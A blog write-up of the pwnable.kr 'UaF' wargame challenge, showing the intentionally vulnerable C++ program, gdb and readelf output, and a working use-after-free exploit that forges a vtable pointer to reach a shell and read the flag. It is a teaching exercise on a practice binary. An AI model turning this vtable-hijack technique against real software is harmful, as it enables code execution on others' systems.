UaF - Write-Up [Pwnable.kr]
Pwnable.kr is a non-commercial wargame site which provides various pwn challenges regarding system exploitation.
In this blog post I’ll write-up how I managed to pass the “UaF” (Use-After-Free) challenge.
Code
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human {
private:
virtual void give_shell() {
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce() {
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human {
public:
Man(string name, int age) {
this->name = name;
this->age = age;
}
virtual void introduce() {
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human {
public:
Woman(string name, int age) {
this->name = name;
this->age = age;
}
virtual void introduce() {
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char *argv[]) {
Human *m = new Man("Jack", 25);
Human *w = new Woman("Jill", 21);
size_t len;
char *data;
unsigned int op;
while (1) {
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch (op) {
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
Audit
As we can see, we allocate a Man
and a Woman
, than we enter in an infinity loop witch asks for an operation:
use
performs a call to theintroduce
method for both objects.after
allocates an arbitrary sized array (the size is passed inargv[1]
) and reads the content of the passed file (argv[2]
) into it.free
performs adelete
call to the two objects previously allocated.
As we can easily imagine, if we free
and then use
we will get a Segmentation fault because we are trying to dereference the two deallocated objects.
Instead we are going to allocate an object with a crafted vtable pointer in order to point the introduce
function to give_shell
.
Now let’s debug the binary in order to understand what’s happen at binary level:
$ gdb uaf
(gdb)
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle on
(gdb) disas main
Dump of assembler code for function main:
... (output truncated for brevity) ...
0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>
0x0000000000400f18 <+84>: mov QWORD PTR [rbp-0x38],rbx
... (output truncated for brevity) ...
At address 0x0000000000400f18 we can see that we are saving the address of the Man
object in the stack at [rbp-0x38]
.
(gdb) x/x $rbp-0x38
0x7ffea0a21028: 0x00c65c50
So let’s see where the vtable
is (knowing that the vtable
’s pointer is at the very beginning of our object’s memory):
(gdb) x/x 0x00c65c50
0xc65c50: 0x00401570
(gdb) x/2g 0x00401570
0x401570 <vtable for Man+16>: 0x000000000040117a 0x00000000004012d2
^Human::give_shell() ^Man::introduce()
Now we can also double check with the readelf
command:
$ readelf uaf -a | grep Man | c++filt
57: 00000000004015d0 24 OBJECT WEAK DEFAULT 15 typeinfo for Man
78: 00000000004015c8 5 OBJECT WEAK DEFAULT 15 typeinfo name for Man
-> 83: 0000000000401560 32 OBJECT WEAK DEFAULT 15 vtable for Man
94: 0000000000401264 109 FUNC WEAK DEFAULT 13 Man::Man(std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int)
100: 0000000000401264 109 FUNC WEAK DEFAULT 13 Man::Man(std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int)
-> 110: 00000000004012d2 54 FUNC WEAK DEFAULT 13 Man::introduce()
$ readelf uaf -a | grep Human | c++filt
59: 0000000000401580 32 OBJECT WEAK DEFAULT 15 vtable for Human
60: 0000000000401192 125 FUNC WEAK DEFAULT 13 Human::introduce()
71: 000000000040123a 41 FUNC WEAK DEFAULT 13 Human::~Human()
73: 00000000004015e8 7 OBJECT WEAK DEFAULT 15 typeinfo name for Human
-> 85: 000000000040117a 24 FUNC WEAK DEFAULT 13 Human::give_shell()
91: 0000000000401210 41 FUNC WEAK DEFAULT 13 Human::Human()
92: 0000000000401210 41 FUNC WEAK DEFAULT 13 Human::Human()
101: 00000000004015f0 16 OBJECT WEAK DEFAULT 15 typeinfo for Human
118: 000000000040123a 41 FUNC WEAK DEFAULT 13 Human::~Human()
At this point it’s pretty clear what we have to do. We have to allocate some memory with the after
option, to simulate a real Man
object but with the vtable
pointer modified in order to call the give_shell
function instead of introduce
when we do the use
option.
If 0x401570
is the vtable
’s address and we call introduce
which is at 0x401578
it means that the call we do is at offset 0x401578
-0x401570
= 8. Now we can subtract the offset from the vtable
’s address to obtain the modified pointer:
(gdb) p/x (0x401570-8)
$1 = 0x401568
Exploit
Now let’s see how we can exploit this UaF
:
python -c 'print ("\x68\x15\x40\x00" + "\x00"*4)' > /tmp/uaf-poc
./uaf 8 /tmp/uaf-poc
1. use
2. after
3. free
-> 3
1. use
2. after
3. free
-> 2
your data is allocated
1. use
2. after
3. free
-> 2
your data is allocated
1. use
2. after
3. free
-> 1
$
$ cat flag
************
Conclusion
Zero out your pointers when you deallocate memory!